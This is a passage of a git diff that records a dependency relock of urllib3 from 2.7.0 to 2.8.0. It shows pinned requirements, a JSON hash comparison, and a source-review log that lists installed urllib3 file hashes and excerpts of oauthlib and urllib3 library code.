+pyobjc-framework-network==11.1 ; platform_machine == 'x86_64' and platform_release >= '18.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-networkextension==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-notificationcenter==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-opendirectory==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-osakit==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-oslog==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-passkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-pencilkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-phase==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-photos==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-photosui==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-preferencepanes==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-pushkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-quartz==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-quicklookthumbnailing==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-replaykit==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-safariservices==11.1 ; platform_machine == 'x86_64' and platform_release >= '16.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-safetykit==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-scenekit==11.1 ; platform_machine == 'x86_64' and platform_release >= '11.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-screencapturekit==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.4' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-screensaver==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-screentime==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-scriptingbridge==11.1 ; platform_machine == 'x86_64' and platform_release >= '9.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-searchkit==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-security==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-securityfoundation==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-securityinterface==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-securityui==11.1 ; platform_machine == 'x86_64' and platform_release >= '24.4' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-sensitivecontentanalysis==11.1 ; platform_machine == 'x86_64' and platform_release >= '23.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-servicemanagement==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-sharedwithyou==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-sharedwithyoucore==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-shazamkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-social==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-soundanalysis==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-speech==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-spritekit==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-storekit==11.1 ; platform_machine == 'x86_64' and platform_release >= '11.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-symbols==11.1 ; platform_machine == 'x86_64' and platform_release >= '23.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-syncservices==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-systemconfiguration==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-systemextensions==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-threadnetwork==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-uniformtypeidentifiers==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-usernotifications==11.1 ; platform_machine == 'x86_64' and platform_release >= '18.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-usernotificationsui==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-videosubscriberaccount==11.1 ; platform_machine == 'x86_64' and platform_release >= '18.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-videotoolbox==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-virtualization==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-vision==11.1 ; platform_machine == 'x86_64' and platform_release >= '17.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-webkit==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyotp==2.9.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pyparsing==3.2.5 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pypdf==6.19.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pyperclip==1.11.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +python-dateutil==2.9.0.post0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +python-docx==1.2.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +python-dotenv==1.2.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +python-frontmatter==1.1.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +python-json-logger==4.0.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +python-multipart==0.0.31 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pyyaml==6.0.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +redis==7.2.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +referencing==0.36.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +regex==2025.9.18 ; platform_machine == 'x86_64' and sys_platform == 'linux' +reportlab==4.4.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' +requests==2.33.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +requests-oauthlib==2.0.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +rich==14.3.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' +rich-rst==1.3.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +rpds-py==0.27.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +screeninfo==0.8.1 ; platform_machine == 'x86_64' and platform_system != 'darwin' and sys_platform == 'linux' +secretstorage==3.5.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +six==1.17.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +sniffio==1.3.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +socksio==1.0.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +sortedcontainers==2.4.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +soupsieve==2.9.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +sse-starlette==3.0.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +starlette==1.3.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +tenacity==9.1.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +tiktoken==0.12.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +tokenizers==0.23.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +tom-swe==1.0.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' +tqdm==4.67.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +tree-sitter==0.25.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +tree-sitter-bash==0.25.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +typing-extensions==4.15.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +typing-inspection==0.4.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +uncalled-for==0.2.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +uritemplate==4.2.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +urllib3==2.8.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +uuid7==0.1.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +uvicorn==0.52.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' +watchfiles==1.1.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +wcwidth==0.2.14 ; platform_machine == 'x86_64' and sys_platform == 'linux' +websockets==15.0.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +wrapt==1.17.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' +yarl==1.22.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +zipp==3.23.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-dependency-comparison.json b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-dependency-comparison.json new file mode 100644 index 000000000..f3ff204b1 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-dependency-comparison.json @@ -0,0 +1,19 @@ +{ + "before_sha256": "383ccc5b87702174e471732872f002f1621186710402d048acc2b1910306e106", + "after_sha256": "bd1cbbe864b20cdd33b4c580846ef75451db3aca82a4e5305207890bb6b0d072", + "before_requirements": 176, + "after_requirements": 176, + "unchanged_declarations": 175, + "changed": [ + { + "name": "urllib3", + "before": "2.7.0", + "after": "2.8.0" + } + ], + "added": [], + "removed": [], + "only_urllib3_block_changed": true, + "urllib3_hashes_match_official_pypi": true, + "urllib3_block": "urllib3==2.8.0 \\\n --hash=sha256:0cf3cae568d36aa9576b28dfb35f11328f1cb974ca7647d9475ebb86c75ac6e3 \\\n --hash=sha256:63bf2ead4c879426ebf22ef2a781eeb4aa3b4ae798a0435506f8687fd5bb9b63" +} diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-exact-caller-source-review.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-exact-caller-source-review.txt new file mode 100644 index 000000000..8ae0e782e --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-exact-caller-source-review.txt @@ -0,0 +1,249 @@ +argv: ["rtk", "proxy", "/venv/bin/python", "-c", "import sys,hashlib,json,re\nfrom pathlib import Path\nsite=Path(sys.argv[1]);urllib=site/'urllib3';sources=sorted(urllib.rglob('*.py'))\nprint('urllib3 installed Python sources:',len(sources))\nprint('urllib3 installed source tree hashes:')\nfor p in sources:print(str(p.relative_to(site)),hashlib.sha256(p.read_bytes()).hexdigest())\nassert sources\nprint('OAuthlib source review windows; loading re-exported definitions does not prove endpoint invocation:')\nfor name,windows in [\n ('oauthlib/oauth2/__init__.py',[(15,31),(55,68)]),\n ('oauthlib/oauth2/rfc6749/endpoints/revocation.py',[(27,37),(65,83)]),\n ('oauthlib/oauth2/rfc6749/grant_types/authorization_code.py',[(43,64),(500,509),(539,550)]),\n ('urllib3/connection.py',[(660,741)]),\n ('urllib3/connectionpool.py',[(1080,1090)])\n]:\n p=site/name;lines=p.read_text().splitlines();print(name,'sha256',hashlib.sha256(p.read_bytes()).hexdigest())\n for start,end in windows:\n for i in range(start-1,min(end,len(lines))):print(f'{name}:{i+1}: {lines[i]}')\nprint('Limits: literal source review only; dynamic imports, runtime-assembled names, external/non-Python callers and OAuth authorization-server runtime behavior remain unknown.')\n", "/venv/lib/python3.13/site-packages"] +cwd: +started_utc: 2026-09-30T15:54:54.565958+00:00 +ended_utc: 2026-09-30T15:54:54.621136+00:00 +exit_code: 0 + +stdout: +urllib3 installed Python sources: 36 +urllib3 installed source tree hashes: +urllib3/__init__.py 24ca35b60d67215d40789daf10d0bf4f17e5d1ee61e86ce5f43195935ad645ba +urllib3/_base_connection.py 1f37121077b1803ad152beb48cd9e20762908ddc3ded279d0f996e45f1ed0978 +urllib3/_collections.py 1fac8ba8659d64d919d0b9bf7e72c4caaba59ce716eaab570a1daacf183bdf15 +urllib3/_request_methods.py 802785f3948efd45385a83f0607228cffb70f9e33f1153a42c5a7c385b02ec30 +urllib3/_version.py 7b84320186a7a1805134fd8aeaa0d508e80116851aecbd23f7561042c5073bd4 +urllib3/connection.py 8a59dab3d7b6a0e1b38a5fd6e565ef6a49381bb995729d015e4f6440ab8523e0 +urllib3/connectionpool.py 6a147869216b94449a053e869d4311cba23294551c83ee20fe5d2f1eaff50a3e +urllib3/contrib/__init__.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 +urllib3/contrib/emscripten/__init__.py c325ef7bcae6a97eecd8aa91401c43e56978f23cd63e7e7ed6efd7a100442d57 +urllib3/contrib/emscripten/connection.py 822125b01a14b0a55445b6736fc182ac99aa5b6dd79ef8f668dc90545e36b258 +urllib3/contrib/emscripten/fetch.py e7171dfbebe217165dda7072d1a2bbdddb49f53b21d7261953f4945f09f089b9 +urllib3/contrib/emscripten/request.py 98bdbcb33cb52af137349856a2be633666aba7c830a650d4fbb8301996398344 +urllib3/contrib/emscripten/response.py 083a58d0616896e47723110290cda01f9b837d80ccd042f5156afb07beb0b603 +urllib3/contrib/pyopenssl.py 5acf2f0ae6527e023a4031da552246600f6e753581f4a2f4c19ff4d7c88a8230 +urllib3/contrib/socks.py 81141f708d6928e021e62238fd30c090a6803f737f1f620de49e660652990691 +urllib3/exceptions.py 8503c7a2aa38cb0e3a7ac3525647225505d5520031580825b21e8c6f242d6be4 +urllib3/fields.py 6862c5015669554f856c996596f7b8021834fa91fd659050d88cfb95fa648e43 +urllib3/filepost.py 53c78d67e9a928a1e1ae56c7104893c7180ad7a21e8e111aeeecf8db2a80fdd2 +urllib3/http2/__init__.py c73ac0487ed1e4035190f24ea2de651a70133aadca2aec97cc8e36adc9f09aab +urllib3/http2/connection.py 9e3960af8c0b862009bed52ac44127e12f79be27db95346b9ab6911e809cbfad +urllib3/http2/probe.py 9e7024a9b8406a43a217be6bcfb5b4b9d677f047a1fee0fc7e357be0def71442 +urllib3/poolmanager.py 46654506338ff9a0e79baeef8a409af7d37aad001633150384a1eb4a5d1ff4cb +urllib3/response.py 0e4559c737914d4f8f941dca9ecfaf6caec6792258302bffec7b8b41dae3c71a +urllib3/util/__init__.py faa792d1071e8af6b3bc110a0cd142008fba00271d0ce1384ccbe8ed22cd9404 +urllib3/util/connection.py 2633bbdb69731e5ccb5cf4e4afd65605d86c7979cc5633126f50c92d5ad74a74 +urllib3/util/proxy.py b1e3fcf90e41e9b07474cb703e3f98719650df4bc7b8ba91bbeb48d096767f3b +urllib3/util/request.py d9af3b7ae5309e3ca50777f27994b3fd5b3aeb32c6aaa44a252ddba5366c89b0 +urllib3/util/response.py bd013adfdba81218f5be98c4771bb994d22124249466477ba6a965508d0164e0 +urllib3/util/retry.py 0fdc26b67d1ecc42b0cab3972f20bb07284d783f4dc318394fe8b99098c42925 +urllib3/util/ssl_.py 72c779c13f6e2afa22149d75f98a5fab0cdc886193515d9dae62e12354fd61c4 +urllib3/util/ssl_match_hostname.py 16de38289cd3cc632629f7ff6573fdd658b65785a19af132d7a3ca05cbf8bd99 +urllib3/util/ssltransport.py 133e0ef2947fbd3f1d6a7fc5bea0584ba7600df05710c7d57ebcdc754a167e2e +urllib3/util/timeout.py e1e4f5155799654ee1ee6603d49ab639735ee1fc5e91d36f868594919bac4690 +urllib3/util/url.py 6a2814d91987dd9728278d413a154ee5277b15cb262d9945425377f2a693311f +urllib3/util/util.py 8f795b64ad633f28b00f7e13f08809cdd5846554fee04fb4bd82098bd52378d0 +urllib3/util/wait.py fe987c22b511deca8faa2d0ea29420254947e30ce419e3390a2c80ed7186b662 +OAuthlib source review windows; loading re-exported definitions does not prove endpoint invocation: +oauthlib/oauth2/__init__.py sha256 2bb207c3f04d0992d24d0a807d0aac2cad0ad3303afcaad00c2cdce12fb7de24 +oauthlib/oauth2/__init__.py:15: WebApplicationClient, +oauthlib/oauth2/__init__.py:16: ) +oauthlib/oauth2/__init__.py:17: from .rfc6749.endpoints import ( +oauthlib/oauth2/__init__.py:18: AuthorizationEndpoint, +oauthlib/oauth2/__init__.py:19: BackendApplicationServer, +oauthlib/oauth2/__init__.py:20: IntrospectEndpoint, +oauthlib/oauth2/__init__.py:21: LegacyApplicationServer, +oauthlib/oauth2/__init__.py:22: MetadataEndpoint, +oauthlib/oauth2/__init__.py:23: MobileApplicationServer, +oauthlib/oauth2/__init__.py:24: ResourceEndpoint, +oauthlib/oauth2/__init__.py:25: RevocationEndpoint, +oauthlib/oauth2/__init__.py:26: Server, +oauthlib/oauth2/__init__.py:27: TokenEndpoint, +oauthlib/oauth2/__init__.py:28: WebApplicationServer, +oauthlib/oauth2/__init__.py:29: ) +oauthlib/oauth2/__init__.py:30: from .rfc6749.errors import ( +oauthlib/oauth2/__init__.py:31: AccessDeniedError, +oauthlib/oauth2/__init__.py:55: UnsupportedResponseTypeError, +oauthlib/oauth2/__init__.py:56: UnsupportedTokenTypeError, +oauthlib/oauth2/__init__.py:57: ) +oauthlib/oauth2/__init__.py:58: from .rfc6749.grant_types import ( +oauthlib/oauth2/__init__.py:59: AuthorizationCodeGrant, +oauthlib/oauth2/__init__.py:60: ClientCredentialsGrant, +oauthlib/oauth2/__init__.py:61: ImplicitGrant, +oauthlib/oauth2/__init__.py:62: RefreshTokenGrant, +oauthlib/oauth2/__init__.py:63: ResourceOwnerPasswordCredentialsGrant, +oauthlib/oauth2/__init__.py:64: ) +oauthlib/oauth2/__init__.py:65: from .rfc6749.request_validator import RequestValidator +oauthlib/oauth2/__init__.py:66: from .rfc6749.tokens import BearerToken, OAuth2Token +oauthlib/oauth2/__init__.py:67: from .rfc6749.utils import is_secure_transport +oauthlib/oauth2/__init__.py:68: from .rfc8628.clients import DeviceClient +oauthlib/oauth2/rfc6749/endpoints/revocation.py sha256 ebc5248a9cfb50e75e04298ee4a4d1a34bf06d415df2d4c6db60a4d21165ba6c +oauthlib/oauth2/rfc6749/endpoints/revocation.py:27: valid_token_types = ('access_token', 'refresh_token') +oauthlib/oauth2/rfc6749/endpoints/revocation.py:28: valid_request_methods = ('POST',) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:29: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:30: def __init__(self, request_validator, supported_token_types=None, +oauthlib/oauth2/rfc6749/endpoints/revocation.py:31: enable_jsonp=False): +oauthlib/oauth2/rfc6749/endpoints/revocation.py:32: BaseEndpoint.__init__(self) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:33: self.request_validator = request_validator +oauthlib/oauth2/rfc6749/endpoints/revocation.py:34: self.supported_token_types = ( +oauthlib/oauth2/rfc6749/endpoints/revocation.py:35: supported_token_types or self.valid_token_types) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:36: self.enable_jsonp = enable_jsonp +oauthlib/oauth2/rfc6749/endpoints/revocation.py:37: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:65: uri, http_method=http_method, body=body, headers=headers) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:66: try: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:67: self.validate_revocation_request(request) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:68: log.debug('Token revocation valid for %r.', request) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:69: except OAuth2Error as e: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:70: log.debug('Client error during validation of %r. %r.', request, e) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:71: response_body = e.json +oauthlib/oauth2/rfc6749/endpoints/revocation.py:72: if self.enable_jsonp and request.callback: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:73: response_body = '{}({});'.format(request.callback, response_body) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:74: resp_headers.update(e.headers) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:75: return resp_headers, response_body, e.status_code +oauthlib/oauth2/rfc6749/endpoints/revocation.py:76: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:77: self.request_validator.revoke_token(request.token, +oauthlib/oauth2/rfc6749/endpoints/revocation.py:78: request.token_type_hint, request) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:79: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:80: response_body = '' +oauthlib/oauth2/rfc6749/endpoints/revocation.py:81: if self.enable_jsonp and request.callback: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:82: response_body = request.callback + '();' +oauthlib/oauth2/rfc6749/endpoints/revocation.py:83: return {}, response_body, 200 +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py sha256 0d6931601c4e88a078fb3ccf5f052c035ad6a4bb2171efb9c218e088a7272dc6 +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:43: the trailing '='. So we have to remove it. +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:44: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:45: .. _`Section 4.3`: https://tools.ietf.org/html/rfc7636#section-4.3 +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:46: """ +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:47: return base64.urlsafe_b64encode( +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:48: hashlib.sha256(verifier.encode()).digest() +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:49: ).decode().rstrip('=') == challenge +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:50: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:51: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:52: def code_challenge_method_plain(verifier, challenge): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:53: """ +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:54: If the "code_challenge_method" from `Section 4.3`_ was "plain", they are +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:55: compared directly, i.e.: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:56: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:57: code_verifier == code_challenge. +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:58: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:59: .. _`Section 4.3`: https://tools.ietf.org/html/rfc7636#section-4.3 +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:60: """ +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:61: return verifier == challenge +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:62: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:63: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:64: class AuthorizationCodeGrant(GrantTypeBase): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:500: if challenge_method not in self._code_challenge_methods: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:501: raise errors.ServerError( +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:502: description="code_challenge_method {} is not supported.".format(challenge_method), +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:503: request=request +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:504: ) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:505: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:506: if not self.validate_code_challenge(challenge, +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:507: challenge_method, +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:508: request.code_verifier): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:509: log.debug('request provided a invalid code_verifier.') +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:539: raise errors.MismatchingRedirectURIError(request=request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:540: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:541: for validator in self.custom_validators.post_token: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:542: validator(request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:543: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:544: def validate_code_challenge(self, challenge, challenge_method, verifier): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:545: if challenge_method in self._code_challenge_methods: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:546: return self._code_challenge_methods[challenge_method](verifier, challenge) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:547: raise NotImplementedError('Unknown challenge_method %s' % challenge_method) +urllib3/connection.py sha256 8a59dab3d7b6a0e1b38a5fd6e565ef6a49381bb995729d015e4f6440ab8523e0 +urllib3/connection.py:660: preload_content=resp_options.preload_content, +urllib3/connection.py:661: decode_content=resp_options.decode_content, +urllib3/connection.py:662: original_response=httplib_response, +urllib3/connection.py:663: enforce_content_length=resp_options.enforce_content_length, +urllib3/connection.py:664: request_method=resp_options.request_method, +urllib3/connection.py:665: request_url=resp_options.request_url, +urllib3/connection.py:666: sock_shutdown=_shutdown, +urllib3/connection.py:667: ) +urllib3/connection.py:668: return response +urllib3/connection.py:669: +urllib3/connection.py:670: +urllib3/connection.py:671: class HTTPSConnection(HTTPConnection): +urllib3/connection.py:672: """ +urllib3/connection.py:673: Many of the parameters to this constructor are passed to the underlying SSL +urllib3/connection.py:674: socket by means of :py:func:`urllib3.util.ssl_wrap_socket`. +urllib3/connection.py:675: """ +urllib3/connection.py:676: +urllib3/connection.py:677: default_port = port_by_scheme["https"] # type: ignore[misc] +urllib3/connection.py:678: +urllib3/connection.py:679: cert_reqs: int | str | None = None +urllib3/connection.py:680: ca_certs: str | None = None +urllib3/connection.py:681: ca_cert_dir: str | None = None +urllib3/connection.py:682: ca_cert_data: None | str | bytes = None +urllib3/connection.py:683: ssl_version: int | str | None = None +urllib3/connection.py:684: ssl_minimum_version: int | None = None +urllib3/connection.py:685: ssl_maximum_version: int | None = None +urllib3/connection.py:686: assert_fingerprint: str | None = None +urllib3/connection.py:687: _connect_callback: typing.Callable[..., None] | None = None +urllib3/connection.py:688: +urllib3/connection.py:689: def __init__( +urllib3/connection.py:690: self, +urllib3/connection.py:691: host: str, +urllib3/connection.py:692: port: int | None = None, +urllib3/connection.py:693: *, +urllib3/connection.py:694: timeout: _TYPE_TIMEOUT = _DEFAULT_TIMEOUT, +urllib3/connection.py:695: source_address: tuple[str, int] | None = None, +urllib3/connection.py:696: blocksize: int = 16384, +urllib3/connection.py:697: socket_options: None | ( +urllib3/connection.py:698: connection._TYPE_SOCKET_OPTIONS +urllib3/connection.py:699: ) = HTTPConnection.default_socket_options, +urllib3/connection.py:700: proxy: Url | None = None, +urllib3/connection.py:701: proxy_config: ProxyConfig | None = None, +urllib3/connection.py:702: cert_reqs: int | str | None = None, +urllib3/connection.py:703: assert_hostname: None | str | typing.Literal[False] = None, +urllib3/connection.py:704: assert_fingerprint: str | None = None, +urllib3/connection.py:705: server_hostname: str | None = None, +urllib3/connection.py:706: ssl_context: ssl.SSLContext | None = None, +urllib3/connection.py:707: ca_certs: str | None = None, +urllib3/connection.py:708: ca_cert_dir: str | None = None, +urllib3/connection.py:709: ca_cert_data: None | str | bytes = None, +urllib3/connection.py:710: ssl_minimum_version: int | None = None, +urllib3/connection.py:711: ssl_maximum_version: int | None = None, +urllib3/connection.py:712: ssl_version: int | str | None = None, # Deprecated +urllib3/connection.py:713: cert_file: str | None = None, +urllib3/connection.py:714: key_file: str | None = None, +urllib3/connection.py:715: key_password: str | None = None, +urllib3/connection.py:716: ) -> None: +urllib3/connection.py:717: super().__init__( +urllib3/connection.py:718: host, +urllib3/connection.py:719: port=port, +urllib3/connection.py:720: timeout=timeout, +urllib3/connection.py:721: source_address=source_address, +urllib3/connection.py:722: blocksize=blocksize, +urllib3/connection.py:723: socket_options=socket_options, +urllib3/connection.py:724: proxy=proxy, +urllib3/connection.py:725: proxy_config=proxy_config, 